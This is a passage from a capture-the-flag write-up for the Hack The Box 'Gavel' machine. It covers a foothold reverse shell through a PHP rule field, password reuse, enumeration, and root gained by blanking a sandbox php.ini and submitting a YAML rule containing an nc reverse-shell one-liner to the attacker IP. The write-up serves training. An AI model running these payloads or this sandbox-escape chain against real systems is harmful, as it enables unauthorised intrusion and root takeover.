#### Obtaining a Reverse Shell

After a couple attempts, the following reverse shell payload worked:

```php title="PHP snippet" icon="file-lines" theme={null}
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 443 >/tmp/f");
```

* This can be placed directly inside the `rule` box in the admin panel.

On our Penelope reverse shell listener, we successfully established a shell session:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ pen -p 443
[+] Listening for reverse shells on 0.0.0.0:443 →  127.0.0.1 • 192.168.50.134 • 172.17.0.1 • 10.10.14.32
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from gavel~10.129.183.7-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/sessions/gavel~10.129.183.7-Linux-x86_64/2025_11_30-10_24_36-512.log 📜
───────────────────────────────────────────────────────────────────────────────────
www-data@gavel:/var/www/html/gavel/includes$ whoami
www-data
```

After poking around for a while, we notice that there is only one user directory.

```text title="Victim Linux" icon="linux" theme={null}
www-data@gavel:/home$ ls -la /home
total 12
drwxr-xr-x  3 root       root       4096 Nov  5 12:46 .
drwxr-xr-x 19 root       root       4096 Nov  5 12:46 ..
drwxr-x---  2 auctioneer auctioneer 4096 Nov  5 12:46 auctioneer
```

Since this account has the same username (`auctioneer`) with the one that we obtained the password, we simply try to spray the password and see if we can login:

```text title="Victim Linux" icon="linux" theme={null}
www-data@gavel:/home$ su auctioneer
Password: 
auctioneer@gavel:/home$ whoami
auctioneer
```

* Success!

Getting the user flag:

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/home$ cd ~
auctioneer@gavel:~$ cat user.txt
b5a337a785ffae68111fc2b15aa8a875
```

## Privilege Escalation

***

### Post-ex Enumeration

#### Checking Sudo Exploitability

Always a quick run on sudo before everything. Let's move on since we cannot use sudo.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/home$ sudo -l
[sudo] password for auctioneer: 
Sorry, user auctioneer may not run sudo on gavel.
```

#### Running LinPEAS

As usual, let's first run LinPEAS for some quick information gathering.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:~$ wget 10.10.14.32/linux/linpeas.sh
--2025-11-30 18:35:45--  http://10.10.14.32/linux/linpeas.sh
...
auctioneer@gavel:~$ chmod +x ./linpeas.sh
auctioneer@gavel:~$ ./linpeas.sh
```

Some interesting output from LinPEAS:

```text title="LinPEAS Output" icon="linux" theme={null}
╔══════════╣ Running processes (cleaned)
...
root      991  0.0  0.0   7372  3484 ?   Ss  06:58  0:02 /bin/bash /root/scripts/auction_watcher.sh
...
root      992  0.0  0.1  19128  5928 ?   Ss  06:58  0:00 /opt/gavel/gaveld
...
root     1007  0.3  0.4  26784 18256 ?   Ss  06:58  0:09 python3 /root/scripts/timeout_gavel.py
...
══╣ Active Ports (netstat)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
...
╔══════════╣ Executable files potentially added by user (limit 70)
..
2025-10-03+19:35:58.6240656280 /usr/local/bin/gavel-util
...
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x  3 root root 4096 Nov  5 12:46 .
drwxr-xr-x 19 root root 4096 Nov  5 12:46 ..
drwxr-xr-x  4 root root 4096 Nov  5 12:46 gavel
...
╔══════════╣ Unexpected in root
/invoice.txt
```

A few key notes:

* A few custom scripts & binaries are running as root.
* No interesting internal ports are opened except Port 33060.
* There is a user-owned / added executable: `/usr/local/bin/gavel-util`.
* There is a `gavel` directory in the `/opt` directory.
* There is an `invoice.txt` in the `/` (system root) directory.

##### Checking Port 33060:

We start off by trying to login to MySQL on port 33060. However, the following error message returned.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ mysql -u gavel -pgavel -h 127.0.0.1 -P 33060
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 2007 (HY000): Protocol mismatch; server version = 11, client version = 10
```

While we can probably try to port-forward the service and enumerate it using an updated client on our machine, it is too much work. Let's move on and come back to this later if everything else did not work.

##### /usr/local/bin/gavel-util:

The `gavel-util` feels way more important since it's named after the box (gavel). A quick ownership check shows that our user is in the group listed in the binary, although it has the same permission with other users (read & execute).

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util

auctioneer@gavel:/tmp$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
```

A quick run of the application returned the following menu. While it is worth investigating, let's also check out other interesting files and come back later.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
```

##### invoice.txt:

The `invoice.txt` looks like an output of some application, likely related to the auction application. Maybe it is generated from `gavel-util`?

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/$ cat invoice.txt 
==================== GAVEL AUCTION INVOICE ====================

Date: Fri Oct  3 20:04:43 2025


No.  Winner          Item Name
---------------------------------------------------------------
No items won.

================================================================
```

### Enumerating `/opt` directory

#### Enumerating files in /opt/gavel

Let's enumerate the `gavel` folder in `opt`:

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission
```

* There are quite a few root-owned files, some readable, some not. Let's enumerate them one by one.

##### /opt/gavel/sample.yaml:

Starting with the YAML file, we can see that this is a template for an auction item, with rules that are written in PHP codes. It looks very similar to the ones that we exploited for RCE on the web application.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/opt/gavel$ cat sample.yaml 
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
```

##### /opt/gavel/gaveld:

This is a root-owned binary. We can try running `strings` to see what is in the binary.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/$ ls -la /opt/gavel/gaveld
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld

auctioneer@gavel:/opt/gavel$ strings gaveld
/lib64/ld-linux-x86-64.so.2
...
...[31mRule too long
/opt/gavel/submission
%08x%08x%08x
/opt/gavel/submission/%s.yaml
stats
gavel
localhost
invoice
/var/log/gavel_prod.log
[33mNo items won.
invoice.txt
/var/run/gaveld.sock
bind
listen
root
chown failed on socket
chmod failed on socket
accept
fork
/opt/gavel/.config/php/php.ini
function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
[32mItem submitted for review in next auction
[31mMySQL connection failed
[31m{"status":"err","msg":"Cannot open log"}
[31mYou are not authorized. Make sure your user belongs to the gavel-seller group.
[31mInvalid header length received.
[31mMemory allocation failed
[31mFailed to read header
[31mFailed to parse header: invalid JSON
[31mOperation not specified
[31mFailed to read submitted content
[31mYAML missing required keys: %s
[31mIllegal rule or sandbox violation.%s
/opt/gavel/submission/.tmpXXXXXX
[31mFailed to save submission
[1;36m=================== GAVEL AUCTION DASHBOARD ===================
[1;33m[Active Auctions]
ID   Item Name                      Current Bid   Ends In
SELECT id,item_name,current_price,TIMESTAMPDIFF(SECOND,NOW(),ends_at) FROM auctions WHERE status='active' ORDER BY ends_at ASC LIMIT 3
[32m%-4d
[0m %-30.30s
[36m%-13d
[0m
[35m%02d:%02d
[1;33m[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
SELECT id,item_name,current_price,IFNULL(highest_bidder,'None') FROM auctions WHERE status='ended' ORDER BY ends_at DESC LIMIT 3
[32m%-4s
[0m %-30.30s
[36m%-13s
[0m
[35m%s
[+] Winner '%127[^']' received '%127[^']'
[1;36m==================== GAVEL AUCTION INVOICE ====================
Date: %s
[1;33mNo.  Winner          Item Name
---------------------------------------------------------------
[32m%-4zu
[0m 
[35m%-15s
[0m %s
[1;36m================================================================
[31mUnknown operation requested
Group %s not found, defaulting to root:root
...
```

A few key notes:

* It is likely reading YAML files from `/opt/gavel/submission/`.
* There may be a log file in `/var/log/gavel_prod.log`.
* It is likely creating the `invoice.txt`.
* It is likely binding to the socket on `/var/run/gaveld.sock`.
* It is likely using a PHP config file in `/opt/gavel/.config/php/php.ini`.
* There is a `__sandbox_eval()` function written in PHP. Combining this with the `php.ini` configuration file, the binary is likely running a PHP sandbox for PHP code execution.

We can try to run the binary by making a copy of it. However, an error message is returned. This is a good sign, since that probably means the binary is already running, likely by the root user as we have enumerated.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ cp /opt/gavel/gaveld /tmp/gaveld
auctioneer@gavel:/tmp$ chmod +x /tmp/gaveld 
auctioneer@gavel:/tmp$ /tmp/gaveld 
bind: Address already in use
```

##### /opt/gavel/.config/php/php.ini:

This is the `php.ini` config file being referenced in the binary. As we can see, this is a heavily sandboxed PHP environment.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini 
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
```

A few key notes:

* The `open_basedir` is set as `/opt/gavel`, meaning that all file reads & writes are restricted to the `/opt/gavel` directory only.
* The `disable_functions` contains almost all command execution and file read & write. However, the `file_put_contents` function is not disabled. There may be potential file write within the `/opt/gavel` directory. See more at [PHP: file\_put\_contents - Manual](https://www.php.net/manual/en/function.file-put-contents.php).
* The `allow_url_fopen` and `allow_url_include` are both off, disallowing all file inclusion possibilities.

Let's move on to the `gavel-util` we found, since there is not much we can do for now.

### Enumerating the gavel-util binary

#### Inspecting the gavel-util binary

Again, we can run `strings` to inspect the binary. Since this is not an SUID binary, and we are not running it in `sudo`, the binary itself should not have any elevated privileges that can be abused. However, a deeper look into the string outputs shows that this binary may just be a client that sends data to the server.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util

auctioneer@gavel:/tmp$ strings /usr/local/bin/gavel-util
/lib64/ld-linux-x86-64.so.2
...
[31mERROR: 
send hdrlen failed
send hdr failed
send content failed
submit
stat
not a regular file: %s
file too large
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
filename
flags
content_length
[32m%s
stats
[31mNo response
invoice
[33mUsage: %s <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
[31msubmit requires file argument
[31mNo response from server
[31mNo response for invoice
/var/run/gaveld.
...
```

A few key notes:

* From the error messages (`send xxx failed` and `No response from server`, etc.), we can induce that this binary is only running as a client, and it is sending data to a locally hosted server (that may be running as root).
* The server is likely listening on a socket on `/var/run/gaveld.sock`, which shares the same name as the `/opt/gavel/gaveld` binary (that is running by root).

By running the `netstat` or `ss` command, we can confirm that the socket is listening:

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ netstat -xnlp
...
unix  2    [ ACC ]   STREAM   LISTENING   24779  -   /var/run/gaveld.sock
...
```

Therefore, the attack plan is clear. By supplying a malicious YAML file to the `gavel-util` binary, the binary will relay the input to the root-running server, opening possibilities for root-level code execution.

#### Running the gavel-util binary

Running the binary returns the help menu. We can see that there are three commands that we can run.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
```

##### Running the `invoice` command:

Running the `invoice` command returns an error. It is also not taking any additional arguments. From the strings dumped from the `gaveld` binary, we can assume that this is likely trying to read the log from `/var/log/gavel_prod.log`.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:~$ /usr/local/bin/gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:~$ /usr/local/bin/gavel-util invoice /opt/gavel/sample.yaml 
{"status":"err","msg":"Cannot open log"}
```

However, there is no such file in the `/var/log` folder:

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ cat /var/log/gavel_prod.log
cat: /var/log/gavel_prod.log: No such file or directory
```

##### Running the `stat` command:

The `stat` command does not take any inputs and only lists the auction dashboard. Nothing of interest so far.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:~$ /usr/local/bin/gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID   Item Name                      Current Bid   Ends In
1108 Ethereal Tax Token             649           01:59
1109 Goblin-Signed NDA              1240          02:06
1110 Potion of Eternal Wakefulness  832           02:15

[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
1107 Unicorn Parking Permit         1636          None
1106 Certificate of Authenticity    1329          None
1105 Time-Traveling Spoon           867           None
```

##### Running the `submit` command:

The `submit` command has the highest attacking value, since it is taking a user-supplied YAML file, and potentially parsing it in a root context. Running the command alone returned an error asking for a file.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit 
submit requires file argument
```

We can try to run the `submit` command directly with the `sample.yaml` file we previously found in the `/opt/gavel` directory. However, the following error is returned:

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit /opt/gavel/sample.yaml 
YAML missing required keys: name description image price rule_msg rule
```

It means that the binary cannot find the keys from the YAML file. Re-checking the file shows that the top level key here is `item`, instead of the 6 required keys.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/$ cat /opt/gavel/sample.yaml 
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
```

Since the original `sample.yaml` file is root-owned and non-writeable, we will simply create a copy in our home directory.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:~$ cp /opt/gavel/sample.yaml ./sample.yaml
```

We can then run text editors like `nano` to modify the file.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/$ nano /tmp/sample.yaml
```

* In the case where text editors are not available, we can always use commands like `cat` to input everything within the command line, or we can edit the file offline in our attacker server, then upload the edited file to the victim machine.

Inside `nano`, we will remove the `item` key, and all trailing spaces in front of the 6 keys.

```yaml title="/tmp/sample.yaml" icon="file-lines" theme={null}
---
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
```

Now we can try resubmitting using the fixed YAML file. We can see that the server happily takes the file.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/$ /usr/local/bin/gavel-util submit /tmp/sample.yaml 
Item submitted for review in next auction
```

### Exploiting Command Injection for Privilege Escalation

#### Inspecting the gaveld binary (again)

Since we now know that the `/opt/gavel/gaveld` binary is running as root and is a server that takes requests from users, we can revisit the `strings` output to look for potentially vulnerable behaviours.

As mentioned, the `__sandbox_eval()` function is written in PHP and will execute PHP codes. From our initial foothold path, we know that the application is directly executing the PHP codes from `rule` in the custom `ruleCheck` function created by `runkit`. Here, the `__sandbox_eval()` function looks almost identical.

```php title="PHP snippet from gaveld" icon="file-lines" theme={null}
function __sandbox_eval() {
    $previous_bid = %ld;
    $current_bid = %ld;
    $bidder = '%s';
    %s
};
$res = __sandbox_eval();
if (!is_bool($res)) {
    echo 'SANDBOX_RETURN_ERROR';
} else if ($res) {
    echo 'ILLEGAL_RULE';
}
```

A few key notes from reviewing the function:

* The last (4th) argument of the `__sandbox_eval()` function is very likely taking the PHP code from the `rule` value from the supplied YAML file.
* The response of the function is stored in `$res`.
* The value of `$res` is then passed through two checks.
* The first check looks for a Boolean response from the output of the function. The error `SANDBOX_RETURN_ERROR` is returned if the output is not a Boolean value.
* The second check validates if the value of `$res` is `True`. If it is returning `True`, the server should respond with `ILLEGAL_RULE`.
* However, if we look closer at the codes, we can see that the `if` conditionals only return `echo`, with no additional actions that may stop the codes from running.
* Moreover, the `__sandbox_eval()` is run **BEFORE** the `if` conditionals, which means that there is actually no validations or checks.

#### Inspecting the php.ini file (again)

The `__sandbox_eval()` function name has hinted that the function is running in a heavily restricted environment. As we previously enumerated, the `php.ini` is likely the main configuration file that sets the restrictions.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini 
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
```

We previously noted that:

* While most functions are disabled, the `file_put_contents` function is still available, which allows root-privilege file write.
* File writes are restricted to the `/opt/gavel` directory only.

Combining the above two observations, we can exploit this restricted file-write vulnerability by using it to wipe the `php.ini` file clean, essentially removing all restrictions.

Some extra readings during research:

* The `php.ini` file is loaded every time when run on CLI - [PHP: The configuration file - Manual](https://www.php.net/manual/en/configuration.file.php). Therefore no restart of PHP service is required in this scenario.
* The `php.ini` file is not required for PHP to run - [what happens if php.ini is missing? - Stack Overflow](https://stackoverflow.com/questions/3962710/what-happens-if-php-ini-is-missing). Therefore a bare-bone (empty) `php.ini` will still work.

#### Overwriting the `php.ini` file

We can construct the malicious YAML file using `nano`.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ nano put_file_contents.yaml
```

Since `file_put_contents` overwrites the file with the provided input by default, we can simply supply an empty string (`''`) to overwrite the `php.ini` file, removing all restrictions.

```yaml title="put_file_contents.yaml" icon="file-lines" theme={null}
---
name: "File_Put_Contents"
description: "Using file_put_contents() to overwrite the php.ini config file"
image: "random.png"
price: 10000
rule_msg: "Using file_put_contents() to overwrite the php.ini config file"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini','');"
```

We then submit the malicious YAML file to the `gaveld` server. While the `SANDBOX_RETURN_ERROR` error is returned, we know from previous code reviews that the PHP codes were being executed regardless.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit put_file_contents.yaml 
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
```

We can confirm this by checking the file content of `php.ini`. As we can see, there is no output when we attempt to `cat` the file. Using `ls` also shows that the file size is 0, confirming that our PHP code execution was successful.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ cat /opt/gavel/.config/php/php.ini 

auctioneer@gavel:/tmp$ ls -la /opt/gavel/.config/php/php.ini 
-rw-r--r-- 1 root root 0 Dec  1 06:01 /opt/gavel/.config/php/php.ini
```

#### Obtaining a Root Shell

Now that all the restrictions are gone, we can send over a malicious YAML file that contains a reverse shell payload.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ nano rce.yaml
```

We will use the same payload we used for initial foothold.

```yaml title="rce.yaml" icon="file-lines" theme={null}
---
name: "RCE"
description: "Using system() to start a reverse shell"
image: "random.png"
price: 10000
rule_msg: "Using system() to start a reverse shell"
rule: "system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 443 >/tmp/f');return true;"
```

Lastly, we submit the malicious YAML file to the `gaveld` server.

```text title="Victim Linux" icon="linux" theme={null}
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit rce.yaml
```

On our Penelope reverse shell listener, we successfully received a shell from the machine.

```text title="Attacker Linux" icon="linux" theme={null}
[+] Got reverse shell from gavel~10.129.183.7-Linux-x86_64 😍 Assigned SessionID <6>

[!] Session detached ⇲

(Penelope)-(Session [1])> interact 6
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [6], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/sessions/gavel~10.129.183.7-Linux-x86_64/2025_11_30-22_05_42-319.log 📜
──────────────────────────────────────────────────────────────────────────────────
root@gavel:/# whoami
root
```

Grabbing the root flag.

```text title="Victim Linux" icon="linux" theme={null}
root@gavel:/# cat /root/root.txt
58e35507b86d342877f261f1290398d2
```

## Key Learnings

***

#### 1. Bypassing Prepared Statements in Query Emulation

For PHP applications, if SQL query emulation is on, it is possible to bypass prepared statements by manipulating the PDO parser logic. Unless if the `PDO::ATTR_EMULATE_PREPARES` is explicitly set as false, PDO emulates all prepared statements in MySQL by default.

* PDO will run its own SQL parser to escape strings and build the prepared statement, and it then sends the parsed full SQL statement to the database.
* Therefore, it is possible to abuse the parsing logic of PDO to sneak in SQL queries into the prepared statement.
* See more from: [Novel SQL Injection Technique in PDO Prepared Statements](https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/).

#### 2. Working with the `php.ini` file

A few facts about the `php.ini` file:

* The `php.ini` file is loaded every time when run on CLI - [PHP: The configuration file - Manual](https://www.php.net/manual/en/configuration.file.php). Therefore restarting PHP service is not required for the modification of the `php.ini` file to be updated.
* The `php.ini` file is not required for PHP to run - [what happens if php.ini is missing? - Stack Overflow](https://stackoverflow.com/questions/3962710/what-happens-if-php-ini-is-missing). Therefore a bare-bone (empty) `php.ini` will still work.

## Tags

***

### Initial Access

[#Web\_Exploit](/tags/Web_Exploit) [#Git](/tags/Git) [#Source\_Code\_Review](/tags/Source_Code_Review) [#SQLi](/tags/SQLi) [#PHP](/tags/PHP) [#Prepared\_Statements](/tags/Prepared_Statements) [#Command\_Injection](/tags/Command_Injection) [#Password\_Spraying](/tags/Password_Spraying)

### Privilege Escalation

[#Sensitive\_Files](/tags/Sensitive_Files) [#File\_Write](/tags/File_Write) [#PHP](/tags/PHP) [#Command\_Injection](/tags/Command_Injection)
